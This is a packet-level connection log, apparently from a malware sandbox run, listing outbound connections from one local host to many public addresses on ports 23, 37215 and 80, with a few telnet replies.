Oct 14, 2024 17:30:06.875855923 CEST	12058	23	192.168.2.14	219.232.240.30
Oct 14, 2024 17:30:06.875868082 CEST	12058	23	192.168.2.14	84.161.83.12
Oct 14, 2024 17:30:06.875873089 CEST	12058	23	192.168.2.14	87.160.115.164
Oct 14, 2024 17:30:06.875873089 CEST	12058	23	192.168.2.14	51.201.53.118
Oct 14, 2024 17:30:06.875873089 CEST	12058	23	192.168.2.14	87.254.93.147
Oct 14, 2024 17:30:06.875890970 CEST	12058	23	192.168.2.14	36.125.33.78
Oct 14, 2024 17:30:06.875891924 CEST	12058	23	192.168.2.14	131.0.36.208
Oct 14, 2024 17:30:06.875912905 CEST	12058	23	192.168.2.14	74.50.118.151
Oct 14, 2024 17:30:06.875917912 CEST	12058	23	192.168.2.14	201.20.182.165
Oct 14, 2024 17:30:06.875917912 CEST	12058	23	192.168.2.14	173.143.63.69
Oct 14, 2024 17:30:06.875940084 CEST	12058	23	192.168.2.14	20.164.248.45
Oct 14, 2024 17:30:06.875943899 CEST	12058	23	192.168.2.14	95.248.146.31
Oct 14, 2024 17:30:06.875960112 CEST	12058	23	192.168.2.14	195.177.150.231
Oct 14, 2024 17:30:06.875962973 CEST	12058	23	192.168.2.14	170.244.8.141
Oct 14, 2024 17:30:06.875962973 CEST	12058	23	192.168.2.14	42.33.135.173
Oct 14, 2024 17:30:06.875967979 CEST	12058	23	192.168.2.14	137.45.187.137
Oct 14, 2024 17:30:06.875972033 CEST	12058	23	192.168.2.14	134.180.167.220
Oct 14, 2024 17:30:06.875998974 CEST	12058	23	192.168.2.14	9.133.128.129
Oct 14, 2024 17:30:06.875998974 CEST	12058	23	192.168.2.14	80.184.94.137
Oct 14, 2024 17:30:06.876003981 CEST	12058	23	192.168.2.14	161.190.62.124
Oct 14, 2024 17:30:06.876003981 CEST	12058	23	192.168.2.14	159.151.223.146
Oct 14, 2024 17:30:06.876013994 CEST	12058	23	192.168.2.14	216.182.216.85
Oct 14, 2024 17:30:06.876020908 CEST	12058	23	192.168.2.14	93.88.140.44
Oct 14, 2024 17:30:06.876020908 CEST	12058	23	192.168.2.14	221.105.96.182
Oct 14, 2024 17:30:06.876038074 CEST	12058	23	192.168.2.14	73.191.51.208
Oct 14, 2024 17:30:06.876050949 CEST	12058	23	192.168.2.14	150.238.238.174
Oct 14, 2024 17:30:06.876051903 CEST	12058	23	192.168.2.14	217.102.115.153
Oct 14, 2024 17:30:06.876050949 CEST	12058	23	192.168.2.14	207.50.155.79
Oct 14, 2024 17:30:06.876055956 CEST	12058	23	192.168.2.14	124.76.78.176
Oct 14, 2024 17:30:06.876055956 CEST	12058	23	192.168.2.14	118.13.159.241
Oct 14, 2024 17:30:06.876068115 CEST	12058	23	192.168.2.14	152.50.58.35
Oct 14, 2024 17:30:06.876079082 CEST	12058	23	192.168.2.14	70.62.79.177
Oct 14, 2024 17:30:06.876089096 CEST	12058	23	192.168.2.14	98.58.238.218
Oct 14, 2024 17:30:06.876116037 CEST	12058	23	192.168.2.14	203.187.44.253
Oct 14, 2024 17:30:06.876116991 CEST	12058	23	192.168.2.14	106.52.252.18
Oct 14, 2024 17:30:06.876117945 CEST	12058	23	192.168.2.14	168.244.86.30
Oct 14, 2024 17:30:06.876117945 CEST	12058	23	192.168.2.14	217.185.100.119
Oct 14, 2024 17:30:06.876122952 CEST	12058	23	192.168.2.14	166.226.239.161
Oct 14, 2024 17:30:06.876123905 CEST	12058	23	192.168.2.14	36.220.35.193
Oct 14, 2024 17:30:06.876123905 CEST	12058	23	192.168.2.14	200.99.171.11
Oct 14, 2024 17:30:06.876126051 CEST	12058	23	192.168.2.14	203.131.54.149
Oct 14, 2024 17:30:06.876137018 CEST	12058	23	192.168.2.14	220.70.90.242
Oct 14, 2024 17:30:06.876166105 CEST	12058	23	192.168.2.14	4.183.244.193
Oct 14, 2024 17:30:06.876166105 CEST	12058	23	192.168.2.14	9.162.245.238
Oct 14, 2024 17:30:06.876167059 CEST	12058	23	192.168.2.14	186.153.34.135
Oct 14, 2024 17:30:06.876166105 CEST	12058	23	192.168.2.14	39.202.151.152
Oct 14, 2024 17:30:06.876174927 CEST	12058	23	192.168.2.14	72.184.6.210
Oct 14, 2024 17:30:06.876187086 CEST	12058	23	192.168.2.14	48.185.45.184
Oct 14, 2024 17:30:06.876208067 CEST	12058	23	192.168.2.14	53.161.248.175
Oct 14, 2024 17:30:06.876209021 CEST	12058	23	192.168.2.14	160.57.149.151
Oct 14, 2024 17:30:06.876367092 CEST	12058	23	192.168.2.14	203.128.83.203
Oct 14, 2024 17:30:06.876465082 CEST	12058	23	192.168.2.14	217.1.172.236
Oct 14, 2024 17:30:06.876481056 CEST	12058	23	192.168.2.14	51.18.62.225
Oct 14, 2024 17:30:06.876502991 CEST	12058	23	192.168.2.14	141.7.165.6
Oct 14, 2024 17:30:06.876503944 CEST	12058	23	192.168.2.14	190.231.196.76
Oct 14, 2024 17:30:06.876518011 CEST	12058	23	192.168.2.14	74.53.62.230
Oct 14, 2024 17:30:06.876533031 CEST	12058	23	192.168.2.14	90.15.26.249
Oct 14, 2024 17:30:06.876533985 CEST	12058	23	192.168.2.14	88.109.218.40
Oct 14, 2024 17:30:06.876548052 CEST	12058	23	192.168.2.14	94.119.20.177
Oct 14, 2024 17:30:06.876562119 CEST	12058	23	192.168.2.14	34.138.41.185
Oct 14, 2024 17:30:06.876562119 CEST	12058	23	192.168.2.14	140.71.221.77
Oct 14, 2024 17:30:06.876573086 CEST	12058	23	192.168.2.14	70.197.108.211
Oct 14, 2024 17:30:06.876594067 CEST	12058	23	192.168.2.14	190.222.134.89
Oct 14, 2024 17:30:06.876596928 CEST	12058	23	192.168.2.14	184.113.36.50
Oct 14, 2024 17:30:06.876600027 CEST	12058	23	192.168.2.14	124.155.244.235
Oct 14, 2024 17:30:06.877688885 CEST	12058	23	192.168.2.14	51.219.71.113
Oct 14, 2024 17:30:06.877688885 CEST	12058	23	192.168.2.14	54.135.220.60
Oct 14, 2024 17:30:06.877695084 CEST	12058	23	192.168.2.14	71.40.21.237
Oct 14, 2024 17:30:06.877698898 CEST	12058	23	192.168.2.14	18.151.98.161
Oct 14, 2024 17:30:06.877718925 CEST	12058	23	192.168.2.14	156.94.65.151
Oct 14, 2024 17:30:06.877734900 CEST	12058	23	192.168.2.14	153.12.83.73
Oct 14, 2024 17:30:06.877734900 CEST	12058	23	192.168.2.14	24.49.39.75
Oct 14, 2024 17:30:06.877741098 CEST	12058	23	192.168.2.14	140.160.237.93
Oct 14, 2024 17:30:06.877742052 CEST	12058	23	192.168.2.14	146.27.151.128
Oct 14, 2024 17:30:06.877747059 CEST	12058	23	192.168.2.14	73.247.38.187
Oct 14, 2024 17:30:06.877767086 CEST	12058	23	192.168.2.14	109.196.187.35
Oct 14, 2024 17:30:06.877767086 CEST	12058	23	192.168.2.14	105.246.241.129
Oct 14, 2024 17:30:06.877777100 CEST	12058	23	192.168.2.14	48.29.84.159
Oct 14, 2024 17:30:06.877777100 CEST	12058	23	192.168.2.14	169.80.211.127
Oct 14, 2024 17:30:06.877788067 CEST	12058	23	192.168.2.14	171.9.139.154
Oct 14, 2024 17:30:06.877815962 CEST	12058	23	192.168.2.14	216.238.49.31
Oct 14, 2024 17:30:06.877830982 CEST	12058	23	192.168.2.14	201.147.77.50
Oct 14, 2024 17:30:06.877834082 CEST	12058	23	192.168.2.14	170.181.16.153
Oct 14, 2024 17:30:06.877840996 CEST	12058	23	192.168.2.14	202.124.121.88
Oct 14, 2024 17:30:06.877870083 CEST	12058	23	192.168.2.14	137.29.104.115
Oct 14, 2024 17:30:06.877878904 CEST	12058	23	192.168.2.14	174.154.56.96
Oct 14, 2024 17:30:06.877887964 CEST	12058	23	192.168.2.14	197.247.85.1
Oct 14, 2024 17:30:06.877891064 CEST	12058	23	192.168.2.14	101.230.62.14
Oct 14, 2024 17:30:06.878034115 CEST	23	12058	32.243.139.213	192.168.2.14
Oct 14, 2024 17:30:06.878057957 CEST	23	12058	173.167.241.32	192.168.2.14
Oct 14, 2024 17:30:06.878071070 CEST	23	12058	41.9.64.14	192.168.2.14
Oct 14, 2024 17:30:06.878088951 CEST	53786	37215	192.168.2.14	197.130.248.32
Oct 14, 2024 17:30:06.878089905 CEST	53786	37215	192.168.2.14	197.79.246.32
Oct 14, 2024 17:30:06.878089905 CEST	53786	37215	192.168.2.14	156.35.204.234
Oct 14, 2024 17:30:06.878110886 CEST	23	12058	98.109.255.32	192.168.2.14
Oct 14, 2024 17:30:06.878117085 CEST	12058	23	192.168.2.14	32.243.139.213
Oct 14, 2024 17:30:06.878117085 CEST	12058	23	192.168.2.14	173.167.241.32
Oct 14, 2024 17:30:06.878117085 CEST	12058	23	192.168.2.14	41.9.64.14
Oct 14, 2024 17:30:06.878123999 CEST	23	12058	156.199.64.157	192.168.2.14
Oct 14, 2024 17:30:06.878137112 CEST	23	12058	181.235.217.168	192.168.2.14
Oct 14, 2024 17:30:06.878139019 CEST	53786	37215	192.168.2.14	197.136.241.30
Oct 14, 2024 17:30:06.878139973 CEST	53786	37215	192.168.2.14	41.70.160.187
Oct 14, 2024 17:30:06.878143072 CEST	53786	37215	192.168.2.14	197.171.14.228
Oct 14, 2024 17:30:06.878151894 CEST	53786	37215	192.168.2.14	197.105.44.140
Oct 14, 2024 17:30:06.878156900 CEST	12058	23	192.168.2.14	98.109.255.32
Oct 14, 2024 17:30:06.878160954 CEST	53786	37215	192.168.2.14	156.180.126.31
Oct 14, 2024 17:30:06.878170967 CEST	53786	37215	192.168.2.14	156.254.231.239
Oct 14, 2024 17:30:06.878170967 CEST	12058	23	192.168.2.14	156.199.64.157
Oct 14, 2024 17:30:06.878179073 CEST	12058	23	192.168.2.14	181.235.217.168
Oct 14, 2024 17:30:06.878232956 CEST	53786	37215	192.168.2.14	41.240.247.143
Oct 14, 2024 17:30:06.878236055 CEST	53786	37215	192.168.2.14	197.113.237.110
Oct 14, 2024 17:30:06.878241062 CEST	53786	37215	192.168.2.14	197.85.47.66
Oct 14, 2024 17:30:06.878252029 CEST	53786	37215	192.168.2.14	41.149.141.75
Oct 14, 2024 17:30:06.878258944 CEST	23	12058	219.33.103.174	192.168.2.14
Oct 14, 2024 17:30:06.878262043 CEST	52058	23	192.168.2.14	32.243.139.213
Oct 14, 2024 17:30:06.878268003 CEST	53786	37215	192.168.2.14	197.116.186.75
Oct 14, 2024 17:30:06.878273010 CEST	23	12058	57.69.141.47	192.168.2.14
Oct 14, 2024 17:30:06.878285885 CEST	23	12058	94.139.240.229	192.168.2.14
Oct 14, 2024 17:30:06.878288984 CEST	12058	23	192.168.2.14	219.33.103.174
Oct 14, 2024 17:30:06.878293037 CEST	56012	23	192.168.2.14	173.167.241.32
Oct 14, 2024 17:30:06.878298998 CEST	23	12058	24.156.129.86	192.168.2.14
Oct 14, 2024 17:30:06.878317118 CEST	12058	23	192.168.2.14	57.69.141.47
Oct 14, 2024 17:30:06.878330946 CEST	53786	37215	192.168.2.14	197.167.109.181
Oct 14, 2024 17:30:06.878338099 CEST	53786	37215	192.168.2.14	41.132.245.113
Oct 14, 2024 17:30:06.878338099 CEST	12058	23	192.168.2.14	94.139.240.229
Oct 14, 2024 17:30:06.878341913 CEST	53786	37215	192.168.2.14	156.123.216.10
Oct 14, 2024 17:30:06.878344059 CEST	53786	37215	192.168.2.14	197.184.191.152
Oct 14, 2024 17:30:06.878367901 CEST	12058	23	192.168.2.14	24.156.129.86
Oct 14, 2024 17:30:06.878371000 CEST	53786	37215	192.168.2.14	197.210.66.0
Oct 14, 2024 17:30:06.878371954 CEST	53786	37215	192.168.2.14	156.174.79.161
Oct 14, 2024 17:30:06.878375053 CEST	41772	23	192.168.2.14	41.9.64.14
Oct 14, 2024 17:30:06.878386974 CEST	53786	37215	192.168.2.14	41.112.232.237
Oct 14, 2024 17:30:06.878395081 CEST	47316	23	192.168.2.14	98.109.255.32
Oct 14, 2024 17:30:06.878401041 CEST	53786	37215	192.168.2.14	41.147.113.119
Oct 14, 2024 17:30:06.878405094 CEST	53786	37215	192.168.2.14	156.53.169.240
Oct 14, 2024 17:30:06.878405094 CEST	36028	23	192.168.2.14	156.199.64.157
Oct 14, 2024 17:30:06.878406048 CEST	53786	37215	192.168.2.14	156.56.234.41
Oct 14, 2024 17:30:06.878415108 CEST	38030	23	192.168.2.14	181.235.217.168
Oct 14, 2024 17:30:06.878427982 CEST	53786	37215	192.168.2.14	41.56.218.39
Oct 14, 2024 17:30:06.878429890 CEST	57550	23	192.168.2.14	219.33.103.174
Oct 14, 2024 17:30:06.878429890 CEST	53786	37215	192.168.2.14	41.8.242.143
Oct 14, 2024 17:30:06.878441095 CEST	54542	23	192.168.2.14	57.69.141.47
Oct 14, 2024 17:30:06.878443956 CEST	53786	37215	192.168.2.14	197.100.13.212
Oct 14, 2024 17:30:06.878454924 CEST	53786	37215	192.168.2.14	41.230.198.71
Oct 14, 2024 17:30:06.878454924 CEST	53786	37215	192.168.2.14	197.246.195.66
Oct 14, 2024 17:30:06.878463984 CEST	53786	37215	192.168.2.14	197.21.124.69
Oct 14, 2024 17:30:06.878473997 CEST	55992	23	192.168.2.14	94.139.240.229
Oct 14, 2024 17:30:06.878490925 CEST	53786	37215	192.168.2.14	156.5.71.225
Oct 14, 2024 17:30:06.878490925 CEST	53786	37215	192.168.2.14	156.40.80.209
Oct 14, 2024 17:30:06.878498077 CEST	53786	37215	192.168.2.14	156.14.26.224
Oct 14, 2024 17:30:06.878503084 CEST	53786	37215	192.168.2.14	156.46.244.81
Oct 14, 2024 17:30:06.878513098 CEST	53786	37215	192.168.2.14	197.22.38.71
Oct 14, 2024 17:30:06.878513098 CEST	53786	37215	192.168.2.14	197.138.146.133
Oct 14, 2024 17:30:06.878530025 CEST	53786	37215	192.168.2.14	197.71.119.27
Oct 14, 2024 17:30:06.878532887 CEST	53786	37215	192.168.2.14	197.146.21.194
Oct 14, 2024 17:30:06.878532887 CEST	45834	23	192.168.2.14	24.156.129.86
Oct 14, 2024 17:30:06.878537893 CEST	53786	37215	192.168.2.14	41.135.148.232
Oct 14, 2024 17:30:06.878537893 CEST	53786	37215	192.168.2.14	41.135.12.150
Oct 14, 2024 17:30:06.878537893 CEST	53786	37215	192.168.2.14	156.44.202.19
Oct 14, 2024 17:30:06.878551960 CEST	53786	37215	192.168.2.14	156.64.52.166
Oct 14, 2024 17:30:06.878563881 CEST	53786	37215	192.168.2.14	156.191.233.183
Oct 14, 2024 17:30:06.878572941 CEST	53786	37215	192.168.2.14	41.169.68.63
Oct 14, 2024 17:30:06.878609896 CEST	53786	37215	192.168.2.14	41.68.120.14
Oct 14, 2024 17:30:06.878609896 CEST	53786	37215	192.168.2.14	41.0.166.188
Oct 14, 2024 17:30:06.878613949 CEST	53786	37215	192.168.2.14	41.165.191.42
Oct 14, 2024 17:30:06.878614902 CEST	53786	37215	192.168.2.14	197.18.3.144
Oct 14, 2024 17:30:06.878624916 CEST	53786	37215	192.168.2.14	41.213.231.171
Oct 14, 2024 17:30:06.878634930 CEST	53786	37215	192.168.2.14	197.237.101.166
Oct 14, 2024 17:30:06.878634930 CEST	53786	37215	192.168.2.14	156.57.236.201
Oct 14, 2024 17:30:06.878634930 CEST	53786	37215	192.168.2.14	41.52.164.220
Oct 14, 2024 17:30:06.878654957 CEST	53786	37215	192.168.2.14	197.4.167.91
Oct 14, 2024 17:30:06.878654957 CEST	53786	37215	192.168.2.14	41.93.180.21
Oct 14, 2024 17:30:06.878685951 CEST	53786	37215	192.168.2.14	156.8.79.89
Oct 14, 2024 17:30:06.878689051 CEST	53786	37215	192.168.2.14	41.69.114.8
Oct 14, 2024 17:30:06.878709078 CEST	53786	37215	192.168.2.14	41.173.126.229
Oct 14, 2024 17:30:06.878745079 CEST	53786	37215	192.168.2.14	156.218.65.17
Oct 14, 2024 17:30:06.878746033 CEST	53786	37215	192.168.2.14	41.211.157.186
Oct 14, 2024 17:30:06.878746986 CEST	53786	37215	192.168.2.14	156.200.60.162
Oct 14, 2024 17:30:06.878746986 CEST	53786	37215	192.168.2.14	156.90.212.9
Oct 14, 2024 17:30:06.878746986 CEST	53786	37215	192.168.2.14	197.41.117.217
Oct 14, 2024 17:30:06.878746986 CEST	53786	37215	192.168.2.14	41.77.144.166
Oct 14, 2024 17:30:06.878746986 CEST	53786	37215	192.168.2.14	41.149.37.157
Oct 14, 2024 17:30:06.878746986 CEST	53786	37215	192.168.2.14	156.184.88.31
Oct 14, 2024 17:30:06.878752947 CEST	53786	37215	192.168.2.14	41.204.21.178
Oct 14, 2024 17:30:06.878763914 CEST	53786	37215	192.168.2.14	41.127.162.130
Oct 14, 2024 17:30:06.878763914 CEST	53786	37215	192.168.2.14	156.227.86.15
Oct 14, 2024 17:30:06.878767014 CEST	53786	37215	192.168.2.14	156.202.18.52
Oct 14, 2024 17:30:06.878767014 CEST	53786	37215	192.168.2.14	41.118.149.111
Oct 14, 2024 17:30:06.878772020 CEST	53786	37215	192.168.2.14	156.248.172.21
Oct 14, 2024 17:30:06.878772020 CEST	53786	37215	192.168.2.14	156.133.98.116
Oct 14, 2024 17:30:06.878772020 CEST	53786	37215	192.168.2.14	156.154.204.165
Oct 14, 2024 17:30:06.878777981 CEST	53786	37215	192.168.2.14	197.122.244.203
Oct 14, 2024 17:30:06.878777981 CEST	53786	37215	192.168.2.14	197.222.41.154
Oct 14, 2024 17:30:06.878782034 CEST	53786	37215	192.168.2.14	156.145.63.73
Oct 14, 2024 17:30:06.878782034 CEST	53786	37215	192.168.2.14	197.126.105.192
Oct 14, 2024 17:30:06.878792048 CEST	53786	37215	192.168.2.14	156.34.199.16
Oct 14, 2024 17:30:06.878792048 CEST	53786	37215	192.168.2.14	41.184.162.69
Oct 14, 2024 17:30:06.878797054 CEST	53786	37215	192.168.2.14	41.4.146.228
Oct 14, 2024 17:30:06.878797054 CEST	53786	37215	192.168.2.14	197.72.54.152
Oct 14, 2024 17:30:06.878797054 CEST	53786	37215	192.168.2.14	156.217.224.41
Oct 14, 2024 17:30:06.878797054 CEST	53786	37215	192.168.2.14	41.190.54.148
Oct 14, 2024 17:30:06.878797054 CEST	53786	37215	192.168.2.14	41.29.91.208
Oct 14, 2024 17:30:06.878797054 CEST	53786	37215	192.168.2.14	41.27.134.153
Oct 14, 2024 17:30:06.878808975 CEST	53786	37215	192.168.2.14	156.29.247.248
Oct 14, 2024 17:30:06.878813028 CEST	53786	37215	192.168.2.14	156.152.201.32
Oct 14, 2024 17:30:06.878843069 CEST	53786	37215	192.168.2.14	41.42.15.199
Oct 14, 2024 17:30:06.878843069 CEST	53786	37215	192.168.2.14	41.87.233.145
Oct 14, 2024 17:30:06.878864050 CEST	53786	37215	192.168.2.14	156.14.206.189
Oct 14, 2024 17:30:06.878865004 CEST	53786	37215	192.168.2.14	197.105.66.87
Oct 14, 2024 17:30:06.878882885 CEST	53786	37215	192.168.2.14	156.106.177.24
Oct 14, 2024 17:30:06.878885031 CEST	53786	37215	192.168.2.14	41.2.143.140
Oct 14, 2024 17:30:06.878910065 CEST	53786	37215	192.168.2.14	197.56.208.211
Oct 14, 2024 17:30:06.878911972 CEST	53786	37215	192.168.2.14	156.200.177.180
Oct 14, 2024 17:30:06.878910065 CEST	53786	37215	192.168.2.14	197.2.172.48
Oct 14, 2024 17:30:06.878928900 CEST	53786	37215	192.168.2.14	156.77.223.84
Oct 14, 2024 17:30:06.878935099 CEST	53786	37215	192.168.2.14	197.110.0.63
Oct 14, 2024 17:30:06.878937960 CEST	53786	37215	192.168.2.14	156.128.50.30
Oct 14, 2024 17:30:06.878957033 CEST	53786	37215	192.168.2.14	41.58.31.4
Oct 14, 2024 17:30:06.878973961 CEST	53786	37215	192.168.2.14	197.150.10.213
Oct 14, 2024 17:30:06.878994942 CEST	53786	37215	192.168.2.14	156.133.232.239
Oct 14, 2024 17:30:06.879015923 CEST	53786	37215	192.168.2.14	41.71.181.231
Oct 14, 2024 17:30:06.879043102 CEST	53786	37215	192.168.2.14	41.75.65.87
Oct 14, 2024 17:30:06.879044056 CEST	53786	37215	192.168.2.14	156.172.0.45
Oct 14, 2024 17:30:06.879044056 CEST	53786	37215	192.168.2.14	41.114.67.67
Oct 14, 2024 17:30:06.879069090 CEST	53786	37215	192.168.2.14	156.37.176.249
Oct 14, 2024 17:30:06.879069090 CEST	53786	37215	192.168.2.14	156.133.247.181
Oct 14, 2024 17:30:06.879070044 CEST	53786	37215	192.168.2.14	197.202.59.135
Oct 14, 2024 17:30:06.879075050 CEST	53786	37215	192.168.2.14	41.202.199.172
Oct 14, 2024 17:30:06.879075050 CEST	53786	37215	192.168.2.14	197.189.83.187
Oct 14, 2024 17:30:06.879075050 CEST	53786	37215	192.168.2.14	41.214.206.90
Oct 14, 2024 17:30:06.879086971 CEST	53786	37215	192.168.2.14	41.68.157.225
Oct 14, 2024 17:30:06.879086971 CEST	53786	37215	192.168.2.14	197.98.115.220
Oct 14, 2024 17:30:06.879127026 CEST	53786	37215	192.168.2.14	197.29.77.103
Oct 14, 2024 17:30:06.879132986 CEST	53786	37215	192.168.2.14	156.241.1.84
Oct 14, 2024 17:30:06.879136086 CEST	53786	37215	192.168.2.14	41.105.21.89
Oct 14, 2024 17:30:06.879152060 CEST	53786	37215	192.168.2.14	41.155.127.9
Oct 14, 2024 17:30:06.879156113 CEST	53786	37215	192.168.2.14	41.156.19.163
Oct 14, 2024 17:30:06.879165888 CEST	53786	37215	192.168.2.14	197.64.37.220
Oct 14, 2024 17:30:06.879165888 CEST	53786	37215	192.168.2.14	156.67.205.16
Oct 14, 2024 17:30:06.879167080 CEST	53786	37215	192.168.2.14	197.46.201.92
Oct 14, 2024 17:30:06.879188061 CEST	53786	37215	192.168.2.14	197.104.240.47
Oct 14, 2024 17:30:06.879209995 CEST	53274	80	192.168.2.14	154.146.248.32
Oct 14, 2024 17:30:06.879214048 CEST	53786	37215	192.168.2.14	156.84.51.94
Oct 14, 2024 17:30:06.879214048 CEST	53786	37215	192.168.2.14	41.155.25.102
Oct 14, 2024 17:30:06.879220963 CEST	53786	37215	192.168.2.14	156.75.20.38
Oct 14, 2024 17:30:06.879220963 CEST	53786	37215	192.168.2.14	156.94.95.86
Oct 14, 2024 17:30:06.879220963 CEST	53786	37215	192.168.2.14	156.172.22.61
Oct 14, 2024 17:30:06.879234076 CEST	53786	37215	192.168.2.14	41.251.81.116
Oct 14, 2024 17:30:06.879234076 CEST	53274	80	192.168.2.14	173.95.246.32
Oct 14, 2024 17:30:06.879244089 CEST	53786	37215	192.168.2.14	197.92.129.215
Oct 14, 2024 17:30:06.879250050 CEST	53786	37215	192.168.2.14	156.50.39.197
Oct 14, 2024 17:30:06.879251003 CEST	53274	80	192.168.2.14	140.35.46.86
Oct 14, 2024 17:30:06.879252911 CEST	53274	80	192.168.2.14	209.48.120.48
Oct 14, 2024 17:30:06.879256010 CEST	53274	80	192.168.2.14	31.61.189.139
Oct 14, 2024 17:30:06.879256010 CEST	53786	37215	192.168.2.14	197.66.199.226
Oct 14, 2024 17:30:06.879256010 CEST	53786	37215	192.168.2.14	41.70.65.253
Oct 14, 2024 17:30:06.879276991 CEST	53274	80	192.168.2.14	213.109.234.0
Oct 14, 2024 17:30:06.879285097 CEST	53274	80	192.168.2.14	198.117.133.17
Oct 14, 2024 17:30:06.879287004 CEST	53786	37215	192.168.2.14	156.139.116.218
Oct 14, 2024 17:30:06.879288912 CEST	53786	37215	192.168.2.14	156.185.156.74
Oct 14, 2024 17:30:06.879288912 CEST	53786	37215	192.168.2.14	41.217.95.207
Oct 14, 2024 17:30:06.879298925 CEST	53786	37215	192.168.2.14	197.114.152.38
Oct 14, 2024 17:30:06.879300117 CEST	53786	37215	192.168.2.14	41.101.172.255
Oct 14, 2024 17:30:06.879318953 CEST	53274	80	192.168.2.14	37.117.104.110
Oct 14, 2024 17:30:06.879326105 CEST	53786	37215	192.168.2.14	41.47.133.46
Oct 14, 2024 17:30:06.879326105 CEST	53786	37215	192.168.2.14	41.178.191.173
Oct 14, 2024 17:30:06.879332066 CEST	53274	80	192.168.2.14	45.49.243.224
Oct 14, 2024 17:30:06.879343987 CEST	53786	37215	192.168.2.14	197.188.213.20
Oct 14, 2024 17:30:06.879353046 CEST	53274	80	192.168.2.14	101.192.210.206
Oct 14, 2024 17:30:06.879354000 CEST	53274	80	192.168.2.14	134.114.101.115
Oct 14, 2024 17:30:06.879354954 CEST	53786	37215	192.168.2.14	41.124.203.184
Oct 14, 2024 17:30:06.879354000 CEST	53786	37215	192.168.2.14	41.127.113.22
Oct 14, 2024 17:30:06.879354954 CEST	53274	80	192.168.2.14	196.228.192.58
Oct 14, 2024 17:30:06.879365921 CEST	53786	37215	192.168.2.14	41.12.92.194
Oct 14, 2024 17:30:06.879367113 CEST	53786	37215	192.168.2.14	156.232.181.2
Oct 14, 2024 17:30:06.879379034 CEST	53786	37215	192.168.2.14	156.217.148.44
Oct 14, 2024 17:30:06.879380941 CEST	53786	37215	192.168.2.14	156.219.132.214
Oct 14, 2024 17:30:06.879381895 CEST	53274	80	192.168.2.14	5.19.178.90
Oct 14, 2024 17:30:06.879381895 CEST	53274	80	192.168.2.14	73.36.132.75
Oct 14, 2024 17:30:06.879393101 CEST	53786	37215	192.168.2.14	156.118.238.210
Oct 14, 2024 17:30:06.879400015 CEST	53786	37215	192.168.2.14	197.75.224.123
Oct 14, 2024 17:30:06.879411936 CEST	53786	37215	192.168.2.14	156.34.113.209
Oct 14, 2024 17:30:06.879411936 CEST	53786	37215	192.168.2.14	41.173.220.227
Oct 14, 2024 17:30:06.879415035 CEST	53786	37215	192.168.2.14	41.40.83.137
Oct 14, 2024 17:30:06.879415035 CEST	53786	37215	192.168.2.14	197.64.92.238
Oct 14, 2024 17:30:06.879415035 CEST	53274	80	192.168.2.14	189.129.164.94
Oct 14, 2024 17:30:06.879415035 CEST	53786	37215	192.168.2.14	156.180.77.75
Oct 14, 2024 17:30:06.879416943 CEST	53786	37215	192.168.2.14	41.171.90.183
Oct 14, 2024 17:30:06.879416943 CEST	53786	37215	192.168.2.14	197.233.69.56
Oct 14, 2024 17:30:06.879425049 CEST	53786	37215	192.168.2.14	156.71.112.108
Oct 14, 2024 17:30:06.879442930 CEST	53274	80	192.168.2.14	208.89.253.186
Oct 14, 2024 17:30:06.879443884 CEST	53274	80	192.168.2.14	201.1.202.112
Oct 14, 2024 17:30:06.879446983 CEST	53786	37215	192.168.2.14	41.8.16.192
Oct 14, 2024 17:30:06.879447937 CEST	53786	37215	192.168.2.14	197.189.163.24
Oct 14, 2024 17:30:06.879465103 CEST	53274	80	192.168.2.14	211.49.176.152
Oct 14, 2024 17:30:06.879466057 CEST	53274	80	192.168.2.14	166.143.139.124
Oct 14, 2024 17:30:06.879467964 CEST	53786	37215	192.168.2.14	41.33.165.204
Oct 14, 2024 17:30:06.879467964 CEST	53786	37215	192.168.2.14	41.82.149.189
Oct 14, 2024 17:30:06.879492998 CEST	53786	37215	192.168.2.14	197.189.245.70
Oct 14, 2024 17:30:06.879508018 CEST	53786	37215	192.168.2.14	41.158.47.131
Oct 14, 2024 17:30:06.879515886 CEST	53786	37215	192.168.2.14	197.116.144.23
Oct 14, 2024 17:30:06.879518032 CEST	53786	37215	192.168.2.14	41.18.132.5
Oct 14, 2024 17:30:06.879534960 CEST	53786	37215	192.168.2.14	197.118.203.240
Oct 14, 2024 17:30:06.879535913 CEST	53786	37215	192.168.2.14	41.85.213.122
Oct 14, 2024 17:30:06.879535913 CEST	53786	37215	192.168.2.14	197.163.223.37
Oct 14, 2024 17:30:06.879550934 CEST	53786	37215	192.168.2.14	41.207.202.159
Oct 14, 2024 17:30:06.879561901 CEST	53786	37215	192.168.2.14	197.40.233.57
Oct 14, 2024 17:30:06.879582882 CEST	53786	37215	192.168.2.14	156.16.239.75
Oct 14, 2024 17:30:06.879590034 CEST	53786	37215	192.168.2.14	41.183.186.51
Oct 14, 2024 17:30:06.879590034 CEST	53786	37215	192.168.2.14	156.112.164.166
Oct 14, 2024 17:30:06.879590988 CEST	53786	37215	192.168.2.14	41.217.80.98
Oct 14, 2024 17:30:06.879592896 CEST	53786	37215	192.168.2.14	197.228.54.119
Oct 14, 2024 17:30:06.879612923 CEST	53786	37215	192.168.2.14	197.50.21.1
Oct 14, 2024 17:30:06.879616022 CEST	53786	37215	192.168.2.14	41.140.186.29
Oct 14, 2024 17:30:06.879617929 CEST	53786	37215	192.168.2.14	156.233.48.255
Oct 14, 2024 17:30:06.879631042 CEST	53786	37215	192.168.2.14	156.97.128.144
Oct 14, 2024 17:30:06.879631042 CEST	53786	37215	192.168.2.14	197.55.61.17
Oct 14, 2024 17:30:06.879631042 CEST	53786	37215	192.168.2.14	197.41.9.193
Oct 14, 2024 17:30:06.879647970 CEST	53786	37215	192.168.2.14	41.48.31.149
Oct 14, 2024 17:30:06.879669905 CEST	53786	37215	192.168.2.14	197.232.240.161
Oct 14, 2024 17:30:06.879672050 CEST	53786	37215	192.168.2.14	41.10.149.99
Oct 14, 2024 17:30:06.879676104 CEST	53786	37215	192.168.2.14	41.19.164.166
Oct 14, 2024 17:30:06.879676104 CEST	53786	37215	192.168.2.14	41.121.227.138
Oct 14, 2024 17:30:06.879690886 CEST	53786	37215	192.168.2.14	156.215.147.196
Oct 14, 2024 17:30:06.879698992 CEST	53786	37215	192.168.2.14	41.49.190.232
Oct 14, 2024 17:30:06.879703045 CEST	53786	37215	192.168.2.14	197.88.186.95
Oct 14, 2024 17:30:06.879705906 CEST	53786	37215	192.168.2.14	197.126.90.153
Oct 14, 2024 17:30:06.879736900 CEST	53786	37215	192.168.2.14	197.241.211.59
Oct 14, 2024 17:30:06.879744053 CEST	53786	37215	192.168.2.14	41.221.170.73
